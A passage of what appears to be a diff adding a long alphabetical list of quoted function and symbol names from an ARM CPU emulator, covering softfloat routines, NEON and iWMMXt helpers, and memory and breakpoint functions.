'cpsr_read', + 'cpsr_write', + 'cptype_valid', + 'cpu_abort', + 'cpu_arm_exec', + 'cpu_arm_gen_code', + 'cpu_arm_init', + 'cpu_breakpoint_insert', + 'cpu_breakpoint_remove', + 'cpu_breakpoint_remove_all', + 'cpu_breakpoint_remove_by_ref', + 'cpu_can_do_io', + 'cpu_can_run', + 'cpu_class_init', + 'cpu_common_class_by_name', + 'cpu_common_exec_interrupt', + 'cpu_common_get_arch_id', + 'cpu_common_get_memory_mapping', + 'cpu_common_get_paging_enabled', + 'cpu_common_has_work', + 'cpu_common_initfn', + 'cpu_common_noop', + 'cpu_common_parse_features', + 'cpu_common_realizefn', + 'cpu_common_reset', + 'cpu_dump_statistics', + 'cpu_exec_init', + 'cpu_flush_icache_range', + 'cpu_gen_init', + 'cpu_get_clock', + 'cpu_get_real_ticks', + 'cpu_get_tb_cpu_state', + 'cpu_handle_debug_exception', + 'cpu_handle_guest_debug', + 'cpu_inb', + 'cpu_inl', + 'cpu_interrupt', + 'cpu_interrupt_handler', + 'cpu_inw', + 'cpu_io_recompile', + 'cpu_is_stopped', + 'cpu_ldl_code', + 'cpu_ldub_code', + 'cpu_lduw_code', + 'cpu_memory_rw_debug', + 'cpu_mmu_index', + 'cpu_outb', + 'cpu_outl', + 'cpu_outw', + 'cpu_physical_memory_clear_dirty_range', + 'cpu_physical_memory_get_clean', + 'cpu_physical_memory_get_dirty', + 'cpu_physical_memory_get_dirty_flag', + 'cpu_physical_memory_is_clean', + 'cpu_physical_memory_is_io', + 'cpu_physical_memory_map', + 'cpu_physical_memory_range_includes_clean', + 'cpu_physical_memory_reset_dirty', + 'cpu_physical_memory_rw', + 'cpu_physical_memory_set_dirty_flag', + 'cpu_physical_memory_set_dirty_range', + 'cpu_physical_memory_unmap', + 'cpu_physical_memory_write_rom', + 'cpu_physical_memory_write_rom_internal', + 'cpu_register', + 'cpu_register_types', + 'cpu_restore_state', + 'cpu_restore_state_from_tb', + 'cpu_single_step', + 'cpu_tb_exec', + 'cpu_tlb_reset_dirty_all', + 'cpu_to_be64', + 'cpu_to_le32', + 'cpu_to_le64', + 'cpu_type_info', + 'cpu_unassigned_access', + 'cpu_watchpoint_address_matches', + 'cpu_watchpoint_insert', + 'cpu_watchpoint_remove', + 'cpu_watchpoint_remove_all', + 'cpu_watchpoint_remove_by_ref', + 'crc32c_table', + 'create_new_memory_mapping', + 'csselr_write', + 'cto32', + 'ctr_el0_access', + 'ctz32', + 'ctz64', + 'dacr_write', + 'dbgbcr_write', + 'dbgbvr_write', + 'dbgwcr_write', + 'dbgwvr_write', + 'debug_cp_reginfo', + 'debug_frame', + 'debug_lpae_cp_reginfo', + 'define_arm_cp_regs', + 'define_arm_cp_regs_with_opaque', + 'define_debug_regs', + 'define_one_arm_cp_reg', + 'define_one_arm_cp_reg_with_opaque', + 'deposit32', + 'deposit64', + 'deregister_tm_clones', + 'device_class_base_init', + 'device_class_init', + 'device_finalize', + 'device_get_realized', + 'device_initfn', + 'device_post_init', + 'device_reset', + 'device_set_realized', + 'device_type_info', + 'disas_arm_insn', + 'disas_coproc_insn', + 'disas_dsp_insn', + 'disas_iwmmxt_insn', + 'disas_neon_data_insn', + 'disas_neon_ls_insn', + 'disas_thumb2_insn', + 'disas_thumb_insn', + 'disas_vfp_insn', + 'disas_vfp_v8_insn', + 'do_arm_semihosting', + 'do_clz16', + 'do_clz8', + 'do_constant_folding', + 'do_constant_folding_2', + 'do_constant_folding_cond', + 'do_constant_folding_cond2', + 'do_constant_folding_cond_32', + 'do_constant_folding_cond_64', + 'do_constant_folding_cond_eq', + 'do_fcvt_f16_to_f32', + 'do_fcvt_f32_to_f16', + 'do_ssat', + 'do_usad', + 'do_usat', + 'do_v7m_exception_exit', + 'dummy_c15_cp_reginfo', + 'dummy_func', + 'dummy_section', + '_DYNAMIC', + '_edata', + '_end', + 'end_list', + 'eq128', + 'ErrorClass_lookup', + 'error_copy', + 'error_exit', + 'error_get_class', + 'error_get_pretty', + 'error_setg_file_open', + 'estimateDiv128To64', + 'estimateSqrt32', + 'excnames', + 'excp_is_internal', + 'extended_addresses_enabled', + 'extended_mpu_ap_bits', + 'extract32', + 'extract64', + 'extractFloat128Exp', + 'extractFloat128Frac0', + 'extractFloat128Frac1', + 'extractFloat128Sign', + 'extractFloat16Exp', + 'extractFloat16Frac', + 'extractFloat16Sign', + 'extractFloat32Exp', + 'extractFloat32Frac', + 'extractFloat32Sign', + 'extractFloat64Exp', + 'extractFloat64Frac', + 'extractFloat64Sign', + 'extractFloatx80Exp', + 'extractFloatx80Frac', + 'extractFloatx80Sign', + 'fcse_write', + 'find_better_copy', + 'find_default_machine', + 'find_desc_by_name', + 'find_first_bit', + 'find_paging_enabled_cpu', + 'find_ram_block', + 'find_ram_offset', + 'find_string', + 'find_type', + '_fini', + 'flatrange_equal', + 'flatview_destroy', + 'flatview_init', + 'flatview_insert', + 'flatview_lookup', + 'flatview_ref', + 'flatview_simplify', + 'flatview_unref', + 'float128_add', + 'float128_compare', + 'float128_compare_internal', + 'float128_compare_quiet', + 'float128_default_nan', + 'float128_div', + 'float128_eq', + 'float128_eq_quiet', + 'float128_is_quiet_nan', + 'float128_is_signaling_nan', + 'float128_le', + 'float128_le_quiet', + 'float128_lt', + 'float128_lt_quiet', + 'float128_maybe_silence_nan', + 'float128_mul', + 'float128_rem', + 'float128_round_to_int', + 'float128_scalbn', + 'float128_sqrt', + 'float128_sub', + 'float128ToCommonNaN', + 'float128_to_float32', + 'float128_to_float64', + 'float128_to_floatx80', + 'float128_to_int32', + 'float128_to_int32_round_to_zero', + 'float128_to_int64', + 'float128_to_int64_round_to_zero', + 'float128_unordered', + 'float128_unordered_quiet', + 'float16_default_nan', + 'float16_is_quiet_nan', + 'float16_is_signaling_nan', + 'float16_maybe_silence_nan', + 'float16ToCommonNaN', + 'float16_to_float32', + 'float16_to_float64', + 'float32_abs', + 'float32_add', + 'float32_chs', + 'float32_compare', + 'float32_compare_internal', + 'float32_compare_quiet', + 'float32_default_nan', + 'float32_div', + 'float32_eq', + 'float32_eq_quiet', + 'float32_exp2', + 'float32_exp2_coefficients', + 'float32_is_any_nan', + 'float32_is_infinity', + 'float32_is_neg', + 'float32_is_quiet_nan', + 'float32_is_signaling_nan', + 'float32_is_zero', + 'float32_is_zero_or_denormal', + 'float32_le', + 'float32_le_quiet', + 'float32_log2', + 'float32_lt', + 'float32_lt_quiet', + 'float32_max', + 'float32_maxnum', + 'float32_maxnummag', + 'float32_maybe_silence_nan', + 'float32_min', + 'float32_minmax', + 'float32_minnum', + 'float32_minnummag', + 'float32_mul', + 'float32_muladd', + 'float32_rem', + 'float32_round_to_int', + 'float32_scalbn', + 'float32_set_sign', + 'float32_sqrt', + 'float32_squash_input_denormal', + 'float32_sub', + 'float32ToCommonNaN', + 'float32_to_float128', + 'float32_to_float16', + 'float32_to_float64', + 'float32_to_floatx80', + 'float32_to_int16', + 'float32_to_int16_round_to_zero', + 'float32_to_int32', + 'float32_to_int32_round_to_zero', + 'float32_to_int64', + 'float32_to_int64_round_to_zero', + 'float32_to_uint16', + 'float32_to_uint16_round_to_zero', + 'float32_to_uint32', + 'float32_to_uint32_round_to_zero', + 'float32_to_uint64', + 'float32_to_uint64_round_to_zero', + 'float32_unordered', + 'float32_unordered_quiet', + 'float64_abs', + 'float64_add', + 'float64_chs', + 'float64_compare', + 'float64_compare_internal', + 'float64_compare_quiet', + 'float64_default_nan', + 'float64_div', + 'float64_eq', + 'float64_eq_quiet', + 'float64_is_any_nan', + 'float64_is_infinity', + 'float64_is_neg', + 'float64_is_quiet_nan', + 'float64_is_signaling_nan', + 'float64_is_zero', + 'float64_le', + 'float64_le_quiet', + 'float64_log2', + 'float64_lt', + 'float64_lt_quiet', + 'float64_max', + 'float64_maxnum', + 'float64_maxnummag', + 'float64_maybe_silence_nan', + 'float64_min', + 'float64_minmax', + 'float64_minnum', + 'float64_minnummag', + 'float64_mul', + 'float64_muladd', + 'float64_rem', + 'float64_round_to_int', + 'float64_scalbn', + 'float64_set_sign', + 'float64_sqrt', + 'float64_squash_input_denormal', + 'float64_sub', + 'float64ToCommonNaN', + 'float64_to_float128', + 'float64_to_float16', + 'float64_to_float32', + 'float64_to_floatx80', + 'float64_to_int16', + 'float64_to_int16_round_to_zero', + 'float64_to_int32', + 'float64_to_int32_round_to_zero', + 'float64_to_int64', + 'float64_to_int64_round_to_zero', + 'float64_to_uint16', + 'float64_to_uint16_round_to_zero', + 'float64_to_uint32', + 'float64_to_uint32_round_to_zero', + 'float64_to_uint64', + 'float64_to_uint64_round_to_zero', + 'float64_trunc_to_int', + 'float64_unordered', + 'float64_unordered_quiet', + 'float_raise', + 'floatx80_add', + 'floatx80_compare', + 'floatx80_compare_internal', + 'floatx80_compare_quiet', + 'floatx80_default_nan', + 'floatx80_div', + 'floatx80_eq', + 'floatx80_eq_quiet', + 'floatx80_is_quiet_nan', + 'floatx80_is_signaling_nan', + 'floatx80_le', + 'floatx80_le_quiet', + 'floatx80_lt', + 'floatx80_lt_quiet', + 'floatx80_maybe_silence_nan', + 'floatx80_mul', + 'floatx80_rem', + 'floatx80_round_to_int', + 'floatx80_scalbn', + 'floatx80_sqrt', + 'floatx80_sub', + 'floatx80ToCommonNaN', + 'floatx80_to_float128', + 'floatx80_to_float32', + 'floatx80_to_float64', + 'floatx80_to_int32', + 'floatx80_to_int32_round_to_zero', + 'floatx80_to_int64', + 'floatx80_to_int64_round_to_zero', + 'floatx80_unordered', + 'floatx80_unordered_quiet', + 'flush_icache_range', + 'format_string', + 'fp_decode_rm', + 'frame_dummy', + 'free_range', + 'fstat64', + 'futex_wait', + 'futex_wake', + 'gen_aa32_ld16s', + 'gen_aa32_ld16u', + 'gen_aa32_ld32u', + 'gen_aa32_ld64', + 'gen_aa32_ld8s', + 'gen_aa32_ld8u', + 'gen_aa32_st16', + 'gen_aa32_st32', + 'gen_aa32_st64', + 'gen_aa32_st8', + 'gen_adc', + 'gen_adc_CC', + 'gen_add16', + 'gen_add_carry', + 'gen_add_CC', + 'gen_add_datah_offset', + 'gen_add_data_offset', + 'gen_addq', + 'gen_addq_lo', + 'gen_addq_msw', + 'gen_arm_parallel_addsub', + 'gen_arm_shift_im', + 'gen_arm_shift_reg', + 'gen_bx', + 'gen_bx_im', + 'gen_clrex', + 'generate_memory_topology', + 'generic_timer_cp_reginfo', + 'gen_exception', + 'gen_exception_insn', + 'gen_exception_internal', + 'gen_exception_internal_insn', + 'gen_exception_return', + 'gen_goto_tb', + 'gen_helper_access_check_cp_reg', + 'gen_helper_add_saturate', + 'gen_helper_add_setq', + 'gen_helper_clear_pstate_ss', + 'gen_helper_clz32', + 'gen_helper_clz64', + 'gen_helper_clz_arm', + 'gen_helper_cpsr_read', + 'gen_helper_cpsr_write', + 'gen_helper_crc32_arm', + 'gen_helper_crc32c', + 'gen_helper_crypto_aese', + 'gen_helper_crypto_aesmc', + 'gen_helper_crypto_sha1_3reg', + 'gen_helper_crypto_sha1h', + 'gen_helper_crypto_sha1su1', + 'gen_helper_crypto_sha256h', + 'gen_helper_crypto_sha256h2', + 'gen_helper_crypto_sha256su0', + 'gen_helper_crypto_sha256su1', + 'gen_helper_double_saturate', + 'gen_helper_exception_internal', + 'gen_helper_exception_with_syndrome', + 'gen_helper_get_cp_reg', + 'gen_helper_get_cp_reg64', + 'gen_helper_get_r13_banked', + 'gen_helper_get_user_reg', + 'gen_helper_iwmmxt_addcb', + 'gen_helper_iwmmxt_addcl', + 'gen_helper_iwmmxt_addcw', + 'gen_helper_iwmmxt_addnb', + 'gen_helper_iwmmxt_addnl', + 'gen_helper_iwmmxt_addnw', + 'gen_helper_iwmmxt_addsb', + 'gen_helper_iwmmxt_addsl', + 'gen_helper_iwmmxt_addsw', + 'gen_helper_iwmmxt_addub', + 'gen_helper_iwmmxt_addul', + 'gen_helper_iwmmxt_adduw', + 'gen_helper_iwmmxt_align', + 'gen_helper_iwmmxt_avgb0', + 'gen_helper_iwmmxt_avgb1', + 'gen_helper_iwmmxt_avgw0', + 'gen_helper_iwmmxt_avgw1', + 'gen_helper_iwmmxt_bcstb', + 'gen_helper_iwmmxt_bcstl', + 'gen_helper_iwmmxt_bcstw', + 'gen_helper_iwmmxt_cmpeqb', + 'gen_helper_iwmmxt_cmpeql', + 'gen_helper_iwmmxt_cmpeqw', + 'gen_helper_iwmmxt_cmpgtsb', + 'gen_helper_iwmmxt_cmpgtsl', + 'gen_helper_iwmmxt_cmpgtsw', + 'gen_helper_iwmmxt_cmpgtub', + 'gen_helper_iwmmxt_cmpgtul', + 'gen_helper_iwmmxt_cmpgtuw', + 'gen_helper_iwmmxt_insr', + 'gen_helper_iwmmxt_macsw', + 'gen_helper_iwmmxt_macuw', + 'gen_helper_iwmmxt_maddsq', + 'gen_helper_iwmmxt_madduq', + 'gen_helper_iwmmxt_maxsb', + 'gen_helper_iwmmxt_maxsl', + 'gen_helper_iwmmxt_maxsw', + 'gen_helper_iwmmxt_maxub', + 'gen_helper_iwmmxt_maxul', + 'gen_helper_iwmmxt_maxuw', + 'gen_helper_iwmmxt_minsb', + 'gen_helper_iwmmxt_minsl', + 'gen_helper_iwmmxt_minsw', + 'gen_helper_iwmmxt_minub', + 'gen_helper_iwmmxt_minul', + 'gen_helper_iwmmxt_minuw', + 'gen_helper_iwmmxt_msbb', + 'gen_helper_iwmmxt_msbl', + 'gen_helper_iwmmxt_msbw', + 'gen_helper_iwmmxt_muladdsl', + 'gen_helper_iwmmxt_muladdsw', + 'gen_helper_iwmmxt_muladdswl', + 'gen_helper_iwmmxt_mulshw', + 'gen_helper_iwmmxt_mulslw', + 'gen_helper_iwmmxt_muluhw', + 'gen_helper_iwmmxt_mululw', + 'gen_helper_iwmmxt_packsl', + 'gen_helper_iwmmxt_packsq', + 'gen_helper_iwmmxt_packsw', + 'gen_helper_iwmmxt_packul', + 'gen_helper_iwmmxt_packuq', + 'gen_helper_iwmmxt_packuw', + 'gen_helper_iwmmxt_rorl', + 'gen_helper_iwmmxt_rorq', + 'gen_helper_iwmmxt_rorw', + 'gen_helper_iwmmxt_sadb', + 'gen_helper_iwmmxt_sadw', + 'gen_helper_iwmmxt_setpsr_nz', + 'gen_helper_iwmmxt_shufh', + 'gen_helper_iwmmxt_slll', + 'gen_helper_iwmmxt_sllq', + 'gen_helper_iwmmxt_sllw', + 'gen_helper_iwmmxt_sral', + 'gen_helper_iwmmxt_sraq', + 'gen_helper_iwmmxt_sraw', + 'gen_helper_iwmmxt_srll', + 'gen_helper_iwmmxt_srlq', + 'gen_helper_iwmmxt_srlw', + 'gen_helper_iwmmxt_subnb', + 'gen_helper_iwmmxt_subnl', + 'gen_helper_iwmmxt_subnw', + 'gen_helper_iwmmxt_subsb', + 'gen_helper_iwmmxt_subsl', + 'gen_helper_iwmmxt_subsw', + 'gen_helper_iwmmxt_subub', + 'gen_helper_iwmmxt_subul', + 'gen_helper_iwmmxt_subuw', + 'gen_helper_iwmmxt_unpackhb', + 'gen_helper_iwmmxt_unpackhl', + 'gen_helper_iwmmxt_unpackhsb', + 'gen_helper_iwmmxt_unpackhsl', + 'gen_helper_iwmmxt_unpackhsw', + 'gen_helper_iwmmxt_unpackhub', + 'gen_helper_iwmmxt_unpackhul', + 'gen_helper_iwmmxt_unpackhuw', + 'gen_helper_iwmmxt_unpackhw', + 'gen_helper_iwmmxt_unpacklb', + 'gen_helper_iwmmxt_unpackll', + 'gen_helper_iwmmxt_unpacklsb', + 'gen_helper_iwmmxt_unpacklsl', + 'gen_helper_iwmmxt_unpacklsw', + 'gen_helper_iwmmxt_unpacklub', + 'gen_helper_iwmmxt_unpacklul', + 'gen_helper_iwmmxt_unpackluw', + 'gen_helper_iwmmxt_unpacklw', + 'gen_helper_neon_abd_f32', + 'gen_helper_neon_abdl_s16', + 'gen_helper_neon_abdl_s32', + 'gen_helper_neon_abdl_s64', + 'gen_helper_neon_abdl_u16', + 'gen_helper_neon_abdl_u32', + 'gen_helper_neon_abdl_u64', + 'gen_helper_neon_abd_s16', + 'gen_helper_neon_abd_s32', + 'gen_helper_neon_abd_s8', + 'gen_helper_neon_abd_u16', + 'gen_helper_neon_abd_u32', + 'gen_helper_neon_abd_u8', + 'gen_helper_neon_abs_s16', + 'gen_helper_neon_abs_s8', + 'gen_helper_neon_acge_f32', + 'gen_helper_neon_acgt_f32', + 'gen_helper_neon_addl_saturate_s32', + 'gen_helper_neon_addl_saturate_s64', + 'gen_helper_neon_addl_u16', + 'gen_helper_neon_addl_u32', + 'gen_helper_neon_add_u16', + 'gen_helper_neon_add_u8', + 'gen_helper_neon_ceq_f32', + 'gen_helper_neon_ceq_u16', + 'gen_helper_neon_ceq_u32', + 'gen_helper_neon_ceq_u8', + 'gen_helper_neon_cge_f32', + 'gen_helper_neon_cge_s16', + 'gen_helper_neon_cge_s32', + 'gen_helper_neon_cge_s8', + 'gen_helper_neon_cge_u16', + 'gen_helper_neon_cge_u32', + 'gen_helper_neon_cge_u8', + 'gen_helper_neon_cgt_f32', + 'gen_helper_neon_cgt_s16', + 'gen_helper_neon_cgt_s32', + 'gen_helper_neon_cgt_s8', + 'gen_helper_neon_cgt_u16', + 'gen_helper_neon_cgt_u32', + 'gen_helper_neon_cgt_u8', + 'gen_helper_neon_cls_s16', + 'gen_helper_neon_cls_s32', + 'gen_helper_neon_cls_s8', + 'gen_helper_neon_clz_u16', + 'gen_helper_neon_clz_u8', + 'gen_helper_neon_cnt_u8', + 'gen_helper_neon_fcvt_f16_to_f32', + 'gen_helper_neon_fcvt_f32_to_f16', + 'gen_helper_neon_hadd_s16', + 'gen_helper_neon_hadd_s32', + 'gen_helper_neon_hadd_s8', + 'gen_helper_neon_hadd_u16', + 'gen_helper_neon_hadd_u32', + 'gen_helper_neon_hadd_u8', + 'gen_helper_neon_hsub_s16', + 'gen_helper_neon_hsub_s32', + 'gen_helper_neon_hsub_s8', + 'gen_helper_neon_hsub_u16', + 'gen_helper_neon_hsub_u32', + 'gen_helper_neon_hsub_u8', + 'gen_helper_neon_max_s16', + 'gen_helper_neon_max_s32', + 'gen_helper_neon_max_s8', + 'gen_helper_neon_max_u16', + 'gen_helper_neon_max_u32', + 'gen_helper_neon_max_u8', + 'gen_helper_neon_min_s16', + 'gen_helper_neon_min_s32', + 'gen_helper_neon_min_s8', + 'gen_helper_neon_min_u16', + 'gen_helper_neon_min_u32', + 'gen_helper_neon_min_u8', + 'gen_helper_neon_mull_p8', + 'gen_helper_neon_mull_s16', + 'gen_helper_neon_mull_s8', + 'gen_helper_neon_mull_u16', + 'gen_helper_neon_mull_u8', + 'gen_helper_neon_mul_p8', + 'gen_helper_neon_mul_u16', + 'gen_helper_neon_mul_u8', + 'gen_helper_neon_narrow_high_u16', + 'gen_helper_neon_narrow_high_u8', + 'gen_helper_neon_narrow_round_high_u16', + 'gen_helper_neon_narrow_round_high_u8', + 'gen_helper_neon_narrow_sat_s16', + 'gen_helper_neon_narrow_sat_s32', + 'gen_helper_neon_narrow_sat_s8', + 'gen_helper_neon_narrow_sat_u16', + 'gen_helper_neon_narrow_sat_u32', + 'gen_helper_neon_narrow_sat_u8', + 'gen_helper_neon_narrow_u16', + 'gen_helper_neon_narrow_u8', + 'gen_helper_neon_negl_u16', + 'gen_helper_neon_negl_u32', + 'gen_helper_neon_paddl_u16', + 'gen_helper_neon_paddl_u32', + 'gen_helper_neon_padd_u16', + 'gen_helper_neon_padd_u8', + 'gen_helper_neon_pmax_s16', + 'gen_helper_neon_pmax_s8', + 'gen_helper_neon_pmax_u16', + 'gen_helper_neon_pmax_u8', + 'gen_helper_neon_pmin_s16', + 'gen_helper_neon_pmin_s8', + 'gen_helper_neon_pmin_u16', + 'gen_helper_neon_pmin_u8', + 'gen_helper_neon_pmull_64_hi', + 'gen_helper_neon_pmull_64_lo', + 'gen_helper_neon_qabs_s16', + 'gen_helper_neon_qabs_s32', + 'gen_helper_neon_qabs_s8', + 'gen_helper_neon_qadd_s16', + 'gen_helper_neon_qadd_s32', + 'gen_helper_neon_qadd_s64', + 'gen_helper_neon_qadd_s8', + 'gen_helper_neon_qadd_u16', + 'gen_helper_neon_qadd_u32', + 'gen_helper_neon_qadd_u64', + 'gen_helper_neon_qadd_u8', + 'gen_helper_neon_qdmulh_s16', + 'gen_helper_neon_qdmulh_s32', + 'gen_helper_neon_qneg_s16', + 'gen_helper_neon_qneg_s32', + 'gen_helper_neon_qneg_s8', + 'gen_helper_neon_qrdmulh_s16', + 'gen_helper_neon_qrdmulh_s32', + 'gen_helper_neon_qrshl_s16', + 'gen_helper_neon_qrshl_s32', + 'gen_helper_neon_qrshl_s64', + 'gen_helper_neon_qrshl_s8', + 'gen_helper_neon_qrshl_u16', + 'gen_helper_neon_qrshl_u32', + 'gen_helper_neon_qrshl_u64', + 'gen_helper_neon_qrshl_u8', + 'gen_helper_neon_qshl_s16', + 'gen_helper_neon_qshl_s32', + 'gen_helper_neon_qshl_s64', + 'gen_helper_neon_qshl_s8', + 'gen_helper_neon_qshl_u16', + 'gen_helper_neon_qshl_u32', + 'gen_helper_neon_qshl_u64', + 'gen_helper_neon_qshl_u8', + 'gen_helper_neon_qshlu_s16', + 'gen_helper_neon_qshlu_s32', + 'gen_helper_neon_qshlu_s64', + 'gen_helper_neon_qshlu_s8', + 'gen_helper_neon_qsub_s16', + 'gen_helper_neon_qsub_s32', + 'gen_helper_neon_qsub_s64', + 'gen_helper_neon_qsub_s8', + 'gen_helper_neon_qsub_u16', + 'gen_helper_neon_qsub_u32', + 'gen_helper_neon_qsub_u64', + 'gen_helper_neon_qsub_u8', + 'gen_helper_neon_qunzip16', + 'gen_helper_neon_qunzip32', + 'gen_helper_neon_qunzip8', + 'gen_helper_neon_qzip16', + 'gen_helper_neon_qzip32', + 'gen_helper_neon_qzip8', + 'gen_helper_neon_rhadd_s16', + 'gen_helper_neon_rhadd_s32', + 'gen_helper_neon_rhadd_s8', + 'gen_helper_neon_rhadd_u16', + 'gen_helper_neon_rhadd_u32', + 'gen_helper_neon_rhadd_u8', + 'gen_helper_neon_rshl_s16', + 'gen_helper_neon_rshl_s32', + 'gen_helper_neon_rshl_s64', + 'gen_helper_neon_rshl_s8', + 'gen_helper_neon_rshl_u16', + 'gen_helper_neon_rshl_u32', + 'gen_helper_neon_rshl_u64', + 'gen_helper_neon_rshl_u8', + 'gen_helper_neon_shl_s16', + 'gen_helper_neon_shl_s32', + 'gen_helper_neon_shl_s64', + 'gen_helper_neon_shl_s8', + 'gen_helper_neon_shl_u16', + 'gen_helper_neon_shl_u32', + 'gen_helper_neon_shl_u64', + 'gen_helper_neon_shl_u8', + 'gen_helper_neon_subl_u16', + 'gen_helper_neon_subl_u32', + 'gen_helper_neon_sub_u16', + 'gen_helper_neon_sub_u8', + 'gen_helper_neon_tbl', + 'gen_helper_neon_tst_u16', + 'gen_helper_neon_tst_u32', + 'gen_helper_neon_tst_u8', + 'gen_helper_neon_unarrow_sat16', + 'gen_helper_neon_unarrow_sat32', + 'gen_helper_neon_unarrow_sat8', + 'gen_helper_neon_unzip16', + 'gen_helper_neon_unzip8', + 'gen_helper_neon_widen_s16', + 'gen_helper_neon_widen_s8', + 'gen_helper_neon_widen_u16', + 'gen_helper_neon_widen_u8', + 'gen_helper_neon_zip16', + 'gen_helper_neon_zip8', + 'gen_helper_pre_hvc', + 'gen_helper_pre_smc', + 'gen_helper_qadd16', + 'gen_helper_qadd8', + 'gen_helper_qaddsubx', + 'gen_helper_qsub16', + 'gen_helper_qsub8', + 'gen_helper_qsubaddx', + 'gen_helper_rbit', + 'gen_helper_recpe_f32', + 'gen_helper_recpe_u32', + 'gen_helper_recps_f32', + 'gen_helper_rintd', + 'gen_helper_rintd_exact', + 'gen_helper_rints', + 'gen_helper_rints_exact', + 'gen_helper_ror_cc', + 'gen_helper_rsqrte_f32', + 'gen_helper_rsqrte_u32', + 'gen_helper_rsqrts_f32', + 'gen_helper_sadd16', + 'gen_helper_sadd8', + 'gen_helper_saddsubx', + 'gen_helper_sar_cc', + 'gen_helper_sdiv', + 'gen_helper_sel_flags', + 'gen_helper_set_cp_reg', + 'gen_helper_set_cp_reg64', + 'gen_helper_set_neon_rmode', + 'gen_helper_set_r13_banked', + 'gen_helper_set_rmode', + 'gen_helper_set_user_reg', + 'gen_helper_shadd16', + 'gen_helper_shadd8', + 'gen_helper_shaddsubx', + 'gen_helper_shl_cc', + 'gen_helper_shr_cc', + 'gen_helper_shsub16', + 'gen_helper_shsub8', + 'gen_helper_shsubaddx', + 'gen_helper_ssat', + 'gen_helper_ssat16', + 'gen_helper_ssub16', + 'gen_helper_ssub8', + 'gen_helper_ssubaddx', + 'gen_helper_sub_saturate', + 'gen_helper_sxtb16', + 'gen_helper_uadd16', + 'gen_helper_uadd8', + 'gen_helper_uaddsubx', + 'gen_helper_udiv', + 'gen_helper_uhadd16', + 'gen_helper_uhadd8', + 'gen_helper_uhaddsubx', + 'gen_helper_uhsub16', + 'gen_helper_uhsub8', + 'gen_helper_uhsubaddx', + 'gen_helper_uqadd16', + 'gen_helper_uqadd8', + 'gen_helper_uqaddsubx', + 'gen_helper_uqsub16', + 'gen_helper_uqsub8', + 'gen_helper_uqsubaddx', + 'gen_helper_usad8', + 'gen_helper_usat', + 'gen_helper_usat16', + 'gen_helper_usub16', + 'gen_helper_usub8', + 'gen_helper_usubaddx', + 'gen_helper_uxtb16', + 'gen_helper_v7m_mrs', + 'gen_helper_v7m_msr', + 'gen_helper_vfp_absd', + 'gen_helper_vfp_abss', + 'gen_helper_vfp_addd', + 'gen_helper_vfp_adds', + 'gen_helper_vfp_cmpd', + 'gen_helper_vfp_cmped', + 'gen_helper_vfp_cmpes', + 'gen_helper_vfp_cmps', + 'gen_helper_vfp_divd', + 'gen_helper_vfp_divs', + 'gen_helper_vfp_fcvtds', + 'gen_helper_vfp_fcvt_f16_to_f32', + 'gen_helper_vfp_fcvt_f16_to_f64', + 'gen_helper_vfp_fcvt_f32_to_f16', + 'gen_helper_vfp_fcvt_f64_to_f16', + 'gen_helper_vfp_fcvtsd', + 'gen_helper_vfp_get_fpscr', + 'gen_helper_vfp_maxnumd', + 'gen_helper_vfp_maxnums', + 'gen_helper_vfp_maxs', + 'gen_helper_vfp_minnumd', + 'gen_helper_vfp_minnums', + 'gen_helper_vfp_mins', + 'gen_helper_vfp_muladdd', + 'gen_helper_vfp_muladds', + 'gen_helper_vfp_muld', + 'gen_helper_vfp_muls', + 'gen_helper_vfp_negd', + 'gen_helper_vfp_negs', + 'gen_helper_vfp_set_fpscr', + 'gen_helper_vfp_shtod', + 'gen_helper_vfp_shtos', + 'gen_helper_vfp_sitod', + 'gen_helper_vfp_sitos', + 'gen_helper_vfp_sltod', + 'gen_helper_vfp_sltos', + 'gen_helper_vfp_sqrtd', + 'gen_helper_vfp_sqrts', + 'gen_helper_vfp_subd', + 'gen_helper_vfp_subs', + 'gen_helper_vfp_toshd_round_to_zero', + 'gen_helper_vfp_toshs_round_to_zero', + 'gen_helper_vfp_tosid', + 'gen_helper_vfp_tosis', + 'gen_helper_vfp_tosizd', + 'gen_helper_vfp_tosizs', + 'gen_helper_vfp_tosld', + 'gen_helper_vfp_tosld_round_to_zero', + 'gen_helper_vfp_tosls', + 'gen_helper_vfp_tosls_round_to_zero', + 'gen_helper_vfp_touhd_round_to_zero', + 'gen_helper_vfp_touhs_round_to_zero', + 'gen_helper_vfp_touid', + 'gen_helper_vfp_touis', + 'gen_helper_vfp_touizd', + 'gen_helper_vfp_touizs', + 'gen_helper_vfp_tould', + 'gen_helper_vfp_tould_round_to_zero', + 'gen_helper_vfp_touls', + 'gen_helper_vfp_touls_round_to_zero', + 'gen_helper_vfp_uhtod', + 'gen_helper_vfp_uhtos', + 'gen_helper_vfp_uitod', + 'gen_helper_vfp_uitos', + 'gen_helper_vfp_ultod', + 'gen_helper_vfp_ultos', + 'gen_helper_wfe', + 'gen_helper_wfi', + 'gen_hvc', + 'gen_intermediate_code_internal', + 'gen_intermediate_code_internal_a64', + 'gen_iwmmxt_address', + 'gen_iwmmxt_shift', + 'gen_jmp', + 'gen_load_and_replicate', + 'gen_load_exclusive', + 'gen_logic_CC', + 'gen_logicq_cc', + 'gen_lookup_tb', + 'gen_mov_F0_vreg', + 'gen_mov_F1_vreg', + 'gen_mov_vreg_F0', + 'gen_muls_i64_i32', + 'gen_mulu_i64_i32', + 'gen_mulxy', + 'gen_neon_add', + 'gen_neon_addl', + 'gen_neon_addl_saturate', + 'gen_neon_bsl', + 'gen_neon_dup_high16', + 'gen_neon_dup_low16', + 'gen_neon_dup_u8', + 'gen_neon_mull', + 'gen_neon_narrow', + 'gen_neon_narrow_op', + 'gen_neon_narrow_sats', + 'gen_neon_narrow_satu', + 'gen_neon_negl', + 'gen_neon_rsb', + 'gen_neon_shift_narrow', + 'gen_neon_subl', + 'gen_neon_trn_u16', + 'gen_neon_trn_u8', + 'gen_neon_unarrow_sats', + 'gen_neon_unzip', + 'gen_neon_widen', + 'gen_neon_zip', + 'gen_new_label', + 'gen_nop_hint', + 'gen_op_iwmmxt_addl_M0_wRn', + 'gen_op_iwmmxt_addnb_M0_wRn', + 'gen_op_iwmmxt_addnl_M0_wRn', + 'gen_op_iwmmxt_addnw_M0_wRn', + 'gen_op_iwmmxt_addsb_M0_wRn', + 'gen_op_iwmmxt_addsl_M0_wRn', + 'gen_op_iwmmxt_addsw_M0_wRn', + 'gen_op_iwmmxt_addub_M0_wRn', + 'gen_op_iwmmxt_addul_M0_wRn', + 'gen_op_iwmmxt_adduw_M0_wRn', + 'gen_op_iwmmxt_andq_M0_wRn', + 'gen_op_iwmmxt_avgb0_M0_wRn', + 